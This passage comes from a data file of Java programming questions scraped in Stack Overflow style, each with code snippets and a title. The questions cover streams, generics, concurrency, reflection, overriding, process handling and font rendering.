very simple example - please keep scalability for future implementations in mind when answering . Thanks for any help in advance.Edit # 1Java does not allow multiple inheritance . This will effect the option 4.Using multiple interfaces ( because you can implement more than one ) might be a workaround , unfortunately the default-method will be necessary again which is exactly the kind of implementation I have been trying to avoid originally . Link - Multiple inheritance problem with possible solution",protected abstract boolean isConsumable ( ) ; //return true if class implements ( or rather `` is consumable '' ) Consumable and false in case it does not,Implementing methods using default methods of interfaces - Contradictory ? +Java,"I have troubles with deploying lift application with uses enterprise java beans . There 's a simple example : There 's NullPointerException on line with bean.a , so that means , that the bean have n't been initialized well . Why ?","@ Statelessclass TestEJB { def a = `` hello '' } object TestApi extends XMLApiHelper { @ EJB private var bean : TestEJB = _ def createTag ( a : NodeSeq ) = def dispatch : LiftRules.DispatchPF = { case Req ( `` test '' : : Nil , `` '' , GetRequest ) = > ( ) = > PlainTextResponse ( bean.a ) } }",lift with enterprise java beans +Java,"I am trying to understand internal calls of Stream API of Java.I have the following code , which has two filter ( intermediate ) operations and one terminal operation.Stream - > returns Stream with overridden filter - > returns Stream with overridden filter - > terminalI see that for each intermediate operation a new stream is returned with overridden filter method . Once it hits the terminal method , the stream executes the filter . I see that filter ( ) is being run twice if there are two filter operations instead of once.I want to understand how one stream traversal is able to call filter twice.Pasting the IntPipeline code below which is hit for the filter method in Stream.The filter ( ) returns a new Stream whose predicate is set as e % 2==0 and then again a new Stream is returned whose predicate is e==2 . Once the terminal operation is hit the , for each traversal the predicates code is executed then at line 11.Edit : I see that downstream is used to link the intermediate ops as a LinkedList . So all the implementations are added to the linkedlist as previous stage and called once traversal starts ?","IntStream.of ( 1,2,3 ) .filter ( e- > e % 2==0 ) .filter ( e- > e==2 ) .forEach ( e- > System.out.println ( e ) ) ; @ Overridepublic final IntStream filter ( IntPredicate predicate ) { Objects.requireNonNull ( predicate ) ; return new StatelessOp < Integer > ( this , StreamShape.INT_VALUE , StreamOpFlag.NOT_SIZED ) { @ Override Sink < Integer > opWrapSink ( int flags , Sink < Integer > sink ) { return new Sink.ChainedInt < Integer > ( sink ) { @ Override public void begin ( long size ) { downstream.begin ( -1 ) ; } @ Override public void accept ( int t ) { if ( predicate.test ( t ) ) ///line 11 downstream.accept ( t ) ; } } ; } } ; }",Stream multiple filter internals +Java,"I have a list of Orders I should group by two criteria . Top buyer for each month by summed amount should be found , for current example : There is a solution I was able to find : The data model I used : The question : Is there any way to solve the task above in one stream ?","Order_Id| Customer | Date | Amount | 1 | `` Sam '' | 2019-03-21 | 100 | 2 | `` Nick '' | 2019-03-21 | 102 | 3 | `` Dan '' | 2019-03-21 | 300 | 4 | `` Sam '' | 2019-04-21 | 400 | 5 | `` Jenny '' | 2019-04-21 | 220 | 6 | `` Jenny '' | 2019-04-12 | 330 | { MARCH : { customer='Dan ' , amount=300 } , APRIL : { customer='Jenny ' , amount=550 } } public class Main { public static void main ( String [ ] args ) { List < Order > orders = List.of ( new Order ( 1L , `` Sam '' , LocalDate.of ( 2019 , 3 , 21 ) , 100L ) , new Order ( 2L , `` Nick '' , LocalDate.of ( 2019 , 3 , 21 ) , 102L ) , new Order ( 3L , `` Dan '' , LocalDate.of ( 2019 , 3 , 21 ) , 300L ) , new Order ( 4L , `` Sam '' , LocalDate.of ( 2019 , 4 , 21 ) , 400L ) , new Order ( 5L , `` Jenny '' , LocalDate.of ( 2019 , 4 , 21 ) , 220L ) , new Order ( 6L , `` Jenny '' , LocalDate.of ( 2019 , 4 , 12 ) , 330L ) ) ; solution1 ( orders ) ; } private static void solution1 ( List < Order > orders ) { final Map < Month , Map < String , Long > > buyersSummed = new HashMap < > ( ) ; for ( Order order : orders ) { Map < String , Long > customerAmountMap = buyersSummed.computeIfAbsent ( order.getOrderMonth ( ) , mapping - > new HashMap < > ( ) ) ; customerAmountMap.putIfAbsent ( order.getCustomer ( ) , 0L ) ; Long customerAmount = customerAmountMap.get ( order.getCustomer ( ) ) ; customerAmountMap.put ( order.getCustomer ( ) , customerAmount + order.getAmount ( ) ) ; } final Map < Month , BuyerDetails > topBuyers = buyersSummed.entrySet ( ) .stream ( ) .collect ( toMap ( Entry : :getKey , customerAmountEntry - > customerAmountEntry.getValue ( ) .entrySet ( ) .stream ( ) .map ( entry - > new BuyerDetails ( entry.getKey ( ) , entry.getValue ( ) ) ) .max ( Comparator.comparingLong ( BuyerDetails : :getAmount ) ) .orElseThrow ( ) ) ) ; System.out.println ( topBuyers ) ; } } class BuyerDetails { String customer ; Long amount ; public BuyerDetails ( String customer , Long amount ) { this.customer = customer ; this.amount = amount ; } public String getCustomer ( ) { return customer ; } public Long getAmount ( ) { return amount ; } } class Order { Long id ; String customer ; LocalDate orderDate ; Long amount ; public Order ( Long id , String customer , LocalDate orderDate , Long amount ) { this.id = id ; this.customer = customer ; this.orderDate = orderDate ; this.amount = amount ; } public Long getId ( ) { return id ; } public String getCustomer ( ) { return customer ; } public LocalDate getOrderDate ( ) { return orderDate ; } public Month getOrderMonth ( ) { return getOrderDate ( ) .getMonth ( ) ; } public Long getAmount ( ) { return amount ; } }",Java Streams - group by two criteria summing result +Java,"My code is below . It compiles fine for me , however my professor is saying he 's getting an error because I do n't have a few variables in my class declared final . Eclipse does n't seem to have a problem with this on my machine so I do n't know how to fix what I ca n't see is wrong . I understand that some variable need to be final to work in nested classes , but the ones I 've created seem to work just fine , final or not .","import java.awt.BorderLayout ; import java.awt.Color ; import java.awt.EventQueue ; import javax.swing.JFrame ; import javax.swing.JPanel ; import javax.swing.border.EmptyBorder ; import javax.swing.JButton ; import java.awt.event.ActionListener ; import java.awt.event.ActionEvent ; import java.util.Random ; public class JColorFrame extends JFrame { private JPanel contentPane ; /** * Launch the application . */ public static void main ( String [ ] args ) { EventQueue.invokeLater ( new Runnable ( ) { public void run ( ) { try { JColorFrame frame = new JColorFrame ( ) ; frame.setVisible ( true ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } } ) ; } /** * Create the frame . */ public JColorFrame ( ) { setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; setBounds ( 100 , 100 , 522 , 339 ) ; contentPane = new JPanel ( ) ; contentPane.setBorder ( new EmptyBorder ( 5 , 5 , 5 , 5 ) ) ; contentPane.setLayout ( new BorderLayout ( 0 , 0 ) ) ; setContentPane ( contentPane ) ; JPanel panel = new JPanel ( ) ; contentPane.add ( panel , BorderLayout.NORTH ) ; JPanel panel_1 = new JPanel ( ) ; contentPane.add ( panel_1 , BorderLayout.WEST ) ; JPanel panel_2 = new JPanel ( ) ; contentPane.add ( panel_2 , BorderLayout.EAST ) ; JPanel panel_3 = new JPanel ( ) ; contentPane.add ( panel_3 , BorderLayout.SOUTH ) ; Color [ ] color = new Color [ 8 ] ; color [ 0 ] = Color.black ; color [ 1 ] = Color.white ; color [ 2 ] = Color.red ; color [ 3 ] = Color.blue ; color [ 4 ] = Color.green ; color [ 5 ] = Color.yellow ; color [ 6 ] = Color.magenta ; color [ 7 ] = Color.orange ; JButton btnChangeColor = new JButton ( `` Change Color '' ) ; btnChangeColor.addActionListener ( new ActionListener ( ) { public void actionPerformed ( ActionEvent arg0 ) { Random random = new Random ( ) ; int random_1 = random.nextInt ( 4 ) ; switch ( random_1 ) { case 0 : int random_2 = random.nextInt ( 8 ) ; panel.setBackground ( color [ random_2 ] ) ; break ; case 1 : random_2 = random.nextInt ( 8 ) ; panel_1.setBackground ( color [ random_2 ] ) ; break ; case 2 : random_2 = random.nextInt ( 8 ) ; panel_2.setBackground ( color [ random_2 ] ) ; break ; case 3 : random_2 = random.nextInt ( 8 ) ; panel_3.setBackground ( color [ random_2 ] ) ; break ; } } } ) ; contentPane.add ( btnChangeColor , BorderLayout.CENTER ) ; } }","Why would a program compile for me , but not for another person ?" +Java,"Is there anything wrong with the thread safety of this java code ? Threads 1-10 add numbers via sample.add ( ) , and Threads 11-20 call removeAndDouble ( ) and print the results to stdout . I recall from the back of my mind that someone said that assigning item in same way as I 've got in removeAndDouble ( ) using it outside of the synchronized block may not be thread safe . That the compiler may optimize the instructions away so they occur out of sequence . Is that the case here ? Is my removeAndDouble ( ) method unsafe ? Is there anything else wrong from a concurrency perspective with this code ? I am trying to get a better understanding of concurrency and the memory model with java ( 1.6 upwards ) .","import java.util . * ; import java.util.concurrent . * ; public class Sample { private final List < Integer > list = new ArrayList < Integer > ( ) ; public void add ( Integer o ) { synchronized ( list ) { list.add ( o ) ; list.notify ( ) ; } } public void waitUntilEmpty ( ) { synchronized ( list ) { while ( ! list.isEmpty ( ) ) { try { list.wait ( 10000 ) ; } catch ( InterruptedException ex ) { } } } } public void waitUntilNotEmpty ( ) { synchronized ( list ) { while ( list.isEmpty ( ) ) { try { list.wait ( 10000 ) ; } catch ( InterruptedException ex ) { } } } } public Integer removeAndDouble ( ) { // item declared outside synchronized block Integer item ; synchronized ( list ) { waitUntilNotEmpty ( ) ; item = list.remove ( 0 ) ; } // Would this ever be anything but that from list.remove ( 0 ) ? return Integer.valueOf ( item.intValue ( ) * 2 ) ; } public static void main ( String [ ] args ) { final Sample sample = new Sample ( ) ; for ( int i = 0 ; i < 10 ; i++ ) { Thread t = new Thread ( ) { public void run ( ) { while ( true ) { System.out.println ( getName ( ) + '' Found : `` + sample.removeAndDouble ( ) ) ; } } } ; t.setName ( `` Consumer- '' +i ) ; t.setDaemon ( true ) ; t.start ( ) ; } final ExecutorService producers = Executors.newFixedThreadPool ( 10 ) ; for ( int i = 0 ; i < 10 ; i++ ) { final int j = i * 10000 ; Thread t = new Thread ( ) { public void run ( ) { for ( int c = 0 ; c < 1000 ; c++ ) { sample.add ( j + c ) ; } } } ; t.setName ( `` Producer- '' +i ) ; t.setDaemon ( false ) ; producers.execute ( t ) ; } producers.shutdown ( ) ; try { producers.awaitTermination ( 600 , TimeUnit.SECONDS ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } sample.waitUntilEmpty ( ) ; System.out.println ( `` Done . `` ) ; } }",Assigning a object to a field defined outside a synchronized block - is it thread safe ? +Java,"What are the potential issues I need to look out for when using reflection.I am very confused in reflection , Why java provide this type of functionality to access private data member.Private : Like I 'd think , only the class in which it is declared can see it.Then Why it is possible to access private things in other class ? this terminology ( reflection ) completely overflow my concept of private ( Access Specifier ) properties in java.I visited many links about this topics but not given complete explanation about this topics.eg : So please explain scenario about this approach in depth ? I need advantage and disadvantage of private methods accessibility in other class ?",package example ; import java.lang.reflect.Method ; class A { private void privateMethod ( ) { System.out.println ( `` hello privateMethod ( ) '' ) ; } } class B { public static void main ( String [ ] args ) throws Exception { A d = new A ( ) ; Method m = A.class.getDeclaredMethod ( `` privateMethod '' ) ; m.setAccessible ( true ) ; m.invoke ( d ) ; } },"Private is Private , then Why java give facility to access private method using reflection ?" +Java,"Since volatile builds happens-before relationship , the final value of i should be strictly 2000000 . However , the actual result is nothing different from being without volatile for variable i . Can anyone explanation why it does n't work here ? Since i is declared volatile , it should be protected from memory inconsistency .",public class MyThread { volatile static int i ; public static class myT extends Thread { public void run ( ) { int j = 0 ; while ( j < 1000000 ) { i++ ; j++ ; } } } public static void main ( String [ ] argv ) throws InterruptedException { i = 0 ; Thread my1 = new myT ( ) ; Thread my2 = new myT ( ) ; my1.start ( ) ; my2.start ( ) ; my1.join ( ) ; my2.join ( ) ; System.out.println ( `` i = `` +i ) ; } },Java volatile variable does n't behave correctly . +Java,"I 'm new to Java , and I 've read over some tutorials on overriding methods , but an example I 'm looking at is n't working the way I expect . For example , I have the code : When I instantiate and call B.run ( ) , I would expect to see `` B '' outputted . However , I see `` A '' instead . What am I doing wrong ? Edit : Yes , the classes are in two separate files . They 're shown together for brevity.Edit : I 'm not sure how B is being instantiated , as it 's being done by a third-party program using a classloader.Edit : More info on the third-party program . It starts by calling A.main ( ) , which I did n't initially show ( sorry ) . I 'm assuming I need to make `` new A ( ) .run ( ) ; '' more generic to use the name of the current class . Is that possible ?",public class A { public void show ( ) { System.out.println ( `` A '' ) ; } public void run ( ) { show ( ) ; } public static void main ( String [ ] arg ) { new A ( ) .run ( ) ; } } public class B extends A { @ Override public void show ( ) { System.out.println ( `` B '' ) ; } },Overriding a Java Method +Java,"In the following block of code : What would happen if both the code inside the try block and the automatic close ( ) statement threw exceptions ? Which one would get caught in the catch block ? Both of them ? Only one of them ? If so , which one ? Furthermore , what if the try is successful but the close is not ? Would the catch block be entered ?",try ( /* resources declaration */ ) { // some dangerous code } catch ( Exception e ) { // error handling and reporting },What exactly gets caught in an extended try-with-resources statement ? +Java,"I 'm currently testing Process API from java 9 and I have some problem with following code : When I execute this snippet I get Optional.empty in terminal . Javadoc states that info method returns any data if it is available , so I suspect that JVM ca n't acquire information about spawned process . But when I try to get pid from ProcessHandle in future I get proper value.To sum up , my question : Is there any way to get non empty ProcessHandle.Info after calling onExit ( ) ? I 'm using Ubuntu 16.04 LTSEdit - This is the output from terminal when I execute ping -i 1 -c 5 google.com PING google.com ( xxx.xxx.16.46 ) 56 ( 84 ) bytes of data . 64 bytes from waw02s14-in-f14.1e100.net ( xxx.xxx.16.46 ) : icmp_seq=1 ttl=52 time=6.71 ms 64 bytes from waw02s14-in-f14.1e100.net ( xxx.xxx.16.46 ) : icmp_seq=2 ttl=52 time=6.26 ms 64 bytes from waw02s14-in-f14.1e100.net ( xxx.xxx.16.46 ) : icmp_seq=3 ttl=52 time=16.6 ms 64 bytes from waw02s14-in-f14.1e100.net ( xxx.xxx.16.46 ) : icmp_seq=4 ttl=52 time=10.6 ms 64 bytes from waw02s14-in-f14.1e100.net ( xxx.xxx.16.46 ) : icmp_seq=5 ttl=52 time=13.4 ms -- - google.com ping statistics -- - 5 packets transmitted , 5 received , 0 % packet loss , time 4007ms rtt min/avg/max/mdev = 6.267/10.746/16.667/3.968 msUpdated use-case : - I want to check if I can , how much time given command was executing , for instance by calling ProcessHandle.Info : :totalCpuDuration","Process process = new ProcessBuilder ( List.of ( `` ping '' , `` -i '' , `` 1 '' , `` -c '' , `` 4 '' , `` google.com '' ) ) .start ( ) ; CompletableFuture < Void > startTimeFuture = process.toHandle ( ) .onExit ( ) .thenApply ( ProcessHandle : :info ) .thenApply ( ProcessHandle.Info : :startInstant ) .thenAccept ( System.out : :println ) ; startTimeFuture.get ( ) ;",ProcessHandle onExit has empty data +Java,"I have been studying Decorator pattern and developed simple class ToUpperCaseInputStream . I overrode read ( ) method so it could convert all chars from InputStream to uppercase . Code of the method is shown below ( throws OutOfMemoryError ) : As I figured out later , casting to char is redundant , but it 's not the point . I 'm having `` java.lang.OutOfMemoryError : Java heap space '' when the code : evaluates . To make this simpler I wrote the same method ( this one throws OutOfMemoryError ) : And this one does not : When I remove casting from the assignment the code runs with no errors and results in all text uppercased . As it 's said at Oracle tutorials : An assignment to an array component of reference type ( §15.26.1 ) , a method invocation expression ( §15.12 ) , or a prefix or postfix increment ( §15.14.2 , §15.15.1 ) or decrement operator ( §15.14.3 , §15.15.2 ) may all throw an OutOfMemoryError as a result of boxing conversion ( §5.1.7 ) .It seems that autoboxing is used , but as for me it 's not the case . Both variants of the same method result in OutOfMemoryError . If I am wrong , please explain this to me , because it will blow up my head.To provide more info there is the client code : } What it does is just prints simple message from one file to another.Although the case is solved I want to share a really good explanation of how casting is done . https : //stackoverflow.com/a/24637624/1923644","@ Overridepublic int read ( ) throws IOException { return Character.toUpperCase ( ( char ) super.read ( ) ) ; } ( ( char ) super.read ( ) ) @ Overridepublic int read ( ) throws IOException { int c = ( char ) super.read ( ) ; return ( c == -1 ? c : Character.toUpperCase ( c ) ) ; } @ Overridepublic int read ( ) throws IOException { int c = super.read ( ) ; return ( c == -1 ? c : Character.toUpperCase ( c ) ) ; } public class App { public static void main ( String [ ] args ) throws IOException { try ( InputStream inet = new ToUpperCaseInputStream ( new FileInputStream ( `` d : /TEMP/src.txt '' ) ) ; FileOutputStream buff = new FileOutputStream ( `` d : /TEMP/dst.txt '' ) ) { copy ( inet , buff ) ; } } public static void copy ( InputStream src , OutputStream dst ) throws IOException { int elem ; while ( ( elem = src.read ( ) ) ! = -1 ) { dst.write ( elem ) ; } }",OutOfMemoryError : Java heap space when casting a numeric primitive to char +Java,"I am trying to understand java generics and they seem extremely difficult to understand . For example , this is fine ... ... as is this ... ... and this ... ... but this does n't compile : Can someone explain what is going on in simple language ?",public class Main { public static void main ( String [ ] args ) { List < ? > list = null ; method ( list ) ; } public static < T > void method ( List < T > list ) { } } public class Main { public static void main ( String [ ] args ) { List < List < ? > > list = null ; method ( list ) ; } public static < T > void method ( List < T > list ) { } } public class Main { public static void main ( String [ ] args ) { List < List < List < ? > > > list = null ; method ( list ) ; } public static < T > void method ( List < List < T > > list ) { } } public class Main { public static void main ( String [ ] args ) { List < List < ? > > list = null ; method ( list ) ; } public static < T > void method ( List < List < T > > list ) { } },"Generics , Type Parameters and Wildcards" +Java,"I 've got a list of type List < A > and with map operation getting a collective list of type List < B > for all A elements merged in one list.without flatmap I want to collect the results as a map of type Map < A , List < B > > and so far trying with various Collectors.toMap or Collectors.groupingBy options but not able to get the desired result .","List < A > listofA = [ A1 , A2 , A3 , A4 , A5 , ... ] List < B > listofB = listofA.stream ( ) .map ( a - > repo.getListofB ( a ) ) .flatMap ( Collection : :stream ) .collect ( Collectors.toList ( ) ) ; List < List < B > > listOflistofB = listofA.stream ( ) .map ( a - > repo.getListofB ( a ) ) .collect ( Collectors.toList ( ) ) ;",Collect results of a map operation in a Map using Collectors.toMap or groupingBy +Java,If you giveIt 's not compiling but the same code with braces is : What is the explanation ?,public class test { public static void main ( String ar [ ] ) { if ( true ) int i=0 ; } } public class test { public static void main ( String ar [ ] ) { if ( true ) { int i=0 ; } } },Why this is not compiling in Java ? +Java,"I 'm a beginner and currently reading inheritance and polymorphism . I 'm having some confusion in terms of the keyword `` extend '' and how constructors are called . Here 's the code : I know that by calling B ( ) in line 3 , class A 's constructor is invoked , and then B 's is invoked ( is that right ? ) and thus it displays `` i from A is 7 '' and then `` i from B is 60 '' . But can someone explain the importance of this ? Why is int i in B completely different from in i in A ? Again , I 'm having trouble following the `` path '' of the code after the line new B ( ) . If someone could explain each step after B ( ) is invoked , that would be much appreciated .",public class Test { public static void main ( String [ ] args ) { new B ( ) ; } } class A { int i = 7 ; public A ( ) { System.out.println ( `` i from A is `` + i ) ; } public void setI ( int i ) { this.i = 2 * i ; } } class B extends A { public B ( ) { setI ( 20 ) ; System.out.println ( `` i from B is `` + i ) ; } public void setI ( int i ) { this.i = 3 * i ; } },Understanding Inheritance and keyword `` extends '' +Java,"This is basically a follow-up of this answer of mine.Suppose that I am working on custom collector and supposing that the accumulator always will add some element to the collection returned by the supplier , is there any chance that when combiner is called , one of the intermediate results will be empty ? An example is probably a lot simpler to understand.Suppose I have a List of numbers and I want to split it in List of Lists , where 2 is the separator . So for example I have 1 , 2 , 3 , 4 , 2 , 8 , the result should be [ [ 1 ] , [ 3 , 4 ] , [ 8 ] ] . This is not really complicated to achieve ( do n't judge the code too much , I wrote something fast , just so I could write this question ) .This is irrelevant probably in this example , but the question is : can the one the elements in the combiner be an empty List ? I am really really inclined to say NO , since in the documentation these are referred as : combiner - an associative , non-interfering , stateless function that accepts two partial result containers and merges them.Well that partial to me is an indication that accumulator was called on them , before they reached combiner , but just wanted to be sure .","List < List < Integer > > result = Stream.of ( 1 , 2 , 3 , 4 , 2 , 8 ) .collect ( Collector.of ( ( ) - > new ArrayList < > ( ) , ( list , elem ) - > { if ( list.isEmpty ( ) ) { List < Integer > inner = new ArrayList < > ( ) ; inner.add ( elem ) ; list.add ( inner ) ; } else { if ( elem == 2 ) { list.add ( new ArrayList < > ( ) ) ; } else { List < Integer > last = list.get ( list.size ( ) - 1 ) ; last.add ( elem ) ; } } } , ( left , right ) - > { // This is the real question here : // can left or right be empty here ? return left ; } ) ) ;",stream collect accumulator/combiner order +Java,I have string which I would like to split by comma and check for a specific word in each one and then trim and then join it to create new stringInput : Desired Output : What I tried is :,"`` UC_Admin , Internal , UC_Reg , US_Admin '' `` UC_Admin , UC_Reg '' Arrays.stream ( `` UC_Admin , Internal , UC_Reg , US_Admin '' .split ( `` , '' ) ) .filter ( role - > role.contains ( `` UC '' ) .join ( `` , '' ) ;","String split , filter and join in single line java 8" +Java,"If i have this synchronized code which i want to replace with actors with no synchronization , how ? and i have a bunch of users in web site where i need to return each an incrementing number ... how can i replace that code with actors code which have no synchronizations thus have no blocking synchronizing code . which i guess would thenn be able to run it on multicores etc ( is n't that the purpose of actors ? ) .",public synchronized int incrementAndGet ( ) { i = i + 1 ; return i ; },what would be the parallel java `` actor '' code to replace standard synchronization with threads code +Java,"I wrote a bit of code to make a multidimensional array rather than an array of arrays so that I could save some memory . Then I ran some tests to compare it 's speed to that of the regular Java array of arrays ( int [ ] [ ] ) as I do n't want my program running slower even if it saves some memory . What I saw in the timing tests has me confused . Here are typical results for a test run . The times are for the same bit of code . Notice how the last two are much larger than the first four.time : 58343722 nstime : 59451156 nstime : 51374777 nstime : 61777424 nstime : 813156695 nstime : 782140511 nsNow the first thing I thought was that the garbage collector what kicking in . I raised the memory limit to 5GB ( -Xmx5g ) so that the garbage collector defiantly would n't start . Nothing changed . I moved things around , but the pattern stays.So what is the pattern ? In the first three times , the bit of code is in a function and I call it three times . In the second three times the bit of code is repeated in a single function three times . So that the pattern is that whenever the bit of code is run multiple times in the same function the time it takes to run the bit of code will shoot up starting with the second bit of code and stay up there after.I did find one alteration that will produce results like this : time : 58729424 nstime : 59965426 nstime : 51441618 nstime : 57359741 nstime : 65362705 nstime : 857942387 nsWhat I did was add a one millisecond delay between the code bits of the second three . Doing that only speeds up the second of the code bits in the block and no amount of delay will speed up any of code bits there after.Frankly , I 'm confused . I ca n't explain this behavior . Can someone shed some light on what is going on ? Here is the code : and : -- -Edit -- -The output on Windows 7 with options -Xms5g -Xmx5g -XX : +PrintCompilation -verbose : gc -XX : CICompilerCount=1 -XbatchOn Linux ( Ubuntu on VirtualBox on the same machine ) with the same options :","package multidimensionalarraytests ; import java.lang.reflect.Array ; import java.util.logging.Level ; import java.util.logging.Logger ; public class MultidimensionalArrayTests { static ArrayInt2Dv1 array=new ArrayInt2Dv1 ( 10000,10000 ) ; public static void main ( String [ ] args ) { System.out.println ( `` ignore the warmup '' ) ; test ( ) ; test ( ) ; combined ( ) ; combined ( ) ; System.out.println ( `` running tests '' ) ; test ( ) ; test ( ) ; test ( ) ; System.out.println ( ) ; combined ( ) ; } static long test ( ) { int value=1 ; long start , stop , time ; System.out.print ( `` time : `` ) ; start=System.nanoTime ( ) ; for ( int x=0 ; x < array.length1 ; x++ ) { for ( int y=0 ; y < array.length2 ; y++ ) { array.set ( x , y , value ) ; value=array.get ( x , y ) ; } } stop=System.nanoTime ( ) ; time= ( stop-start ) ; System.out.println ( time+ '' ns '' ) ; return time ; } static void combined ( ) { int value=1 ; long start , stop , time ; System.out.print ( `` time : `` ) ; start=System.nanoTime ( ) ; for ( int x=0 ; x < array.length1 ; x++ ) { for ( int y=0 ; y < array.length2 ; y++ ) { array.set ( x , y , value ) ; value=array.get ( x , y ) ; } } stop=System.nanoTime ( ) ; time= ( stop-start ) ; System.out.println ( time+ '' ns '' ) ; //try { Thread.sleep ( 1 ) ; } catch ( InterruptedException ex ) { } System.out.print ( `` time : `` ) ; start=System.nanoTime ( ) ; for ( int x=0 ; x < array.length1 ; x++ ) { for ( int y=0 ; y < array.length2 ; y++ ) { array.set ( x , y , value ) ; value=array.get ( x , y ) ; } } stop=System.nanoTime ( ) ; time= ( stop-start ) ; System.out.println ( time+ '' ns '' ) ; //try { Thread.sleep ( 60000 ) ; } catch ( InterruptedException ex ) { } System.out.print ( `` time : `` ) ; start=System.nanoTime ( ) ; for ( int x=0 ; x < array.length1 ; x++ ) { for ( int y=0 ; y < array.length2 ; y++ ) { array.set ( x , y , value ) ; value=array.get ( x , y ) ; } } stop=System.nanoTime ( ) ; time= ( stop-start ) ; System.out.println ( time+ '' ns '' ) ; } } package multidimensionalarraytests ; public class ArrayInt2Dv1 { int [ ] array ; public final int length1 ; public final int length2 ; public ArrayInt2Dv1 ( int length1 , int length2 ) { this.length1=length1 ; this.length2=length2 ; array=new int [ length1*length2 ] ; } public int get ( int x , int y ) { return array [ x*length2+y ] ; } public void set ( int x , int y , int value ) { array [ x*length2+y ] =value ; } } time : 299 1 b multidimensionalarraytests.ArrayInt2Dv1 : :set ( 15 bytes ) 302 2 b multidimensionalarraytests.ArrayInt2Dv1 : :get ( 14 bytes ) 303 1 % b multidimensionalarraytests.MultidimensionalArrayTests : :test @ 31 ( 114 bytes ) 358 1 % multidimensionalarraytests.MultidimensionalArrayTests : :test @ -2 ( 114 bytes ) made not entrant60671451 ns 359 3 b multidimensionalarraytests.MultidimensionalArrayTests : :test ( 114 bytes ) time : 365 2 % b multidimensionalarraytests.MultidimensionalArrayTests : :test @ 31 ( 114 bytes ) 58104484 nstime : 425 3 % b multidimensionalarraytests.MultidimensionalArrayTests : :combined @ 31 ( 330 bytes ) 69008251 nstime : 806898159 nstime : 845447596 ns 2146 4 b multidimensionalarraytests.MultidimensionalArrayTests : :combined ( 330 bytes ) time : 52493169 nstime : 804304528 nstime : 845500191 nsrunning teststime : 51290771 nstime : 51922285 nstime : 51264108 nstime : 52258679 nstime : 842229025 nstime : 871403625 ns 283 1 b java.lang.String : :hashCode ( 60 bytes ) 285 2 b sun.nio.cs.UTF_8 $ Encoder : :encodeArrayLoop ( 490 bytes ) 287 3 b java.lang.String : :charAt ( 33 bytes ) 287 4 b java.lang.String : :indexOf ( 151 bytes ) 297 5 b java.io.UnixFileSystem : :normalize ( 75 bytes ) 2850 6 b java.lang.String : :lastIndexOf ( 156 bytes ) ignore the warmuptime : 5885 7 b multidimensionalarraytests.ArrayInt2Dv1 : :set ( 15 bytes ) 5948 8 b multidimensionalarraytests.ArrayInt2Dv1 : :get ( 14 bytes ) 5949 1 % b multidimensionalarraytests.MultidimensionalArrayTests : :test @ 31 ( 114 bytes ) 11529998483 ns 17565 9 b multidimensionalarraytests.MultidimensionalArrayTests : :test ( 114 bytes ) time : 1619622928 nstime : 19718 2 % b multidimensionalarraytests.MultidimensionalArrayTests : :combined @ 31 ( 330 bytes ) 475786382 nstime : 288586857 nstime : 315560700 ns 20789 10 b multidimensionalarraytests.MultidimensionalArrayTests : :combined ( 330 bytes ) time : 460577230 nstime : 311525066 nstime : 312343429 nsrunning teststime : 310261854 nstime : 298826592 nstime : 304689920 nstime : 315416579 nstime : 299473245 nstime : 290211350 ns",I have a Java performance issue that I do n't understand +Java,"I have a Class < ? > reference for an arbitrary type . How to get that type 's initialisation value ? Is there some library method for this or do I have to roll my own , such as : The use case is I have an arbitrary java.lang.reflect.Method reference , which I want to call using arbitrary parameters ( for some testing ) , which may not be null in case the parameter is a primitive type , so I need to specify some value of that type .",Class < ? > klass = ... Object init = ( klass == boolean.class ) ? false : ( klass == byte.class ) ? ( byte ) 0 ... : ( Object ) null ;,How to get the initialisation value for a Java Class reference +Java,Suppose I have a legacy JUnit test suite that includes the following tests : Now assume that Awesome Mocking library relies on Awesome BCEL bytecode generation library which contains the class org.useful.XMLClass and this library has version 1 of XMLClass . Now assume that Amazing Xml operation relies on Amazing Xml Library that contains the class org.useful.XMLClass and this library has version 2 of XML Class . Also assume that version 2 of the class is not backwards compatible with version 1 - so which ever version has higher priority in the classpath - it breaks the dependencies of the other version . Also assume that there are 400 tests that rely on awesome mocking library - so rewriting is not a desirable option . Also assume that some critical business features have been built with amazing xml libary - and it is strongly preferred not to rewrite that . How do you solve this classpath hell situation - apart from running the ant tests ( assuming you 're running them with Ant ) twice with two differently manually ordered classpaths and manually determined test sub-sets ? ( I 'm open to an idea with custom classloaders - but that seems about the same level of maintainability as the dual custom classpath with ant solution ),public class AwesomeTest { public void testBusinessLogic ( ) { ... [ awesome mocking library ] ... } } public class AmazingTest { public void testBusinessProcess ( ) { ... [ amazing xml operation ] ... } },Solving java classpath hell in legacy junit test suite +Java,"( Lest this get closed as too localized , I chose Ꙭ as an example but this happens for many other characters also ) The character Ꙭ is \uA66C or decimal 42604 ( http : //unicodinator.com/ # A66C ) . I 'm seeing some very weird things I ca n't understand while using Java 's Character class.Everything except # 2 does not make sense to me . This character is in the BMP and is not from \uD800 to \uDFFF so there should n't be any complexity with surrogates . It seems like I 'm missing some key concept here ...","1 ) Character.isLetter ( ' Ꙭ ' ) ; //wo n't compile , complains 'unclosed character literal ' 2 ) Character.isLetter ( `` Ꙭ '' .charAt ( 0 ) ) ; //returns true , which is right3 ) Character.isLetter ( 42604 ) ; //returns false4 ) Character.isLetter ( '\uA66C ' ) ; //returns false5 ) `` Ꙭ '' .codePointAt ( 0 ) ; //returns 205 ? 205 is Í http : //unicodinator.com/ # 00CD6 ) ( `` Ꙭ '' .charAt ( 0 ) == ( char ) 42604 ) //is false",Why does `` Ꙭ '' .codePointAt ( 0 ) ==205 and other Java Character bizarreness ? +Java,"I have a weird problem when drawing strings with some specific true type fonts in Java 32bit on Windows 10.Since Java 7u13 , whenever a character/glyph of the font is wider than 4 times it 's height , it is not rendered at all using Graphics2D.drawString ( e.g . glyph 4001em wide with basic font size of 1000em ) : However , the font renders correctly on a JLabel so after some investigation of the underlying Swing code I have realised that setting the rendering hint KEY_TEXT_ANTIALIASING to VALUE_TEXT_ANTIALIAS_LCD_HRGB makes the text render correctly : It seems that the rendering algorithm works differently after setting the subpixel atialiasig and renders the font correctly.If I switch to Java 7u11 or earlier the text renders without any problems and without setting the VALUE_TEXT_ANTIALIAS_LCD_HRGB.The same happens for any other font with such wide glyphs - for example this random font has such wide glyph for character `` J '' : http : //www.fontspace.com/digital-magic/hdgems5 - it renders ok with Java 7u11 but does n't render at all with anythig newer than that.Setting the subpixel antialiasing 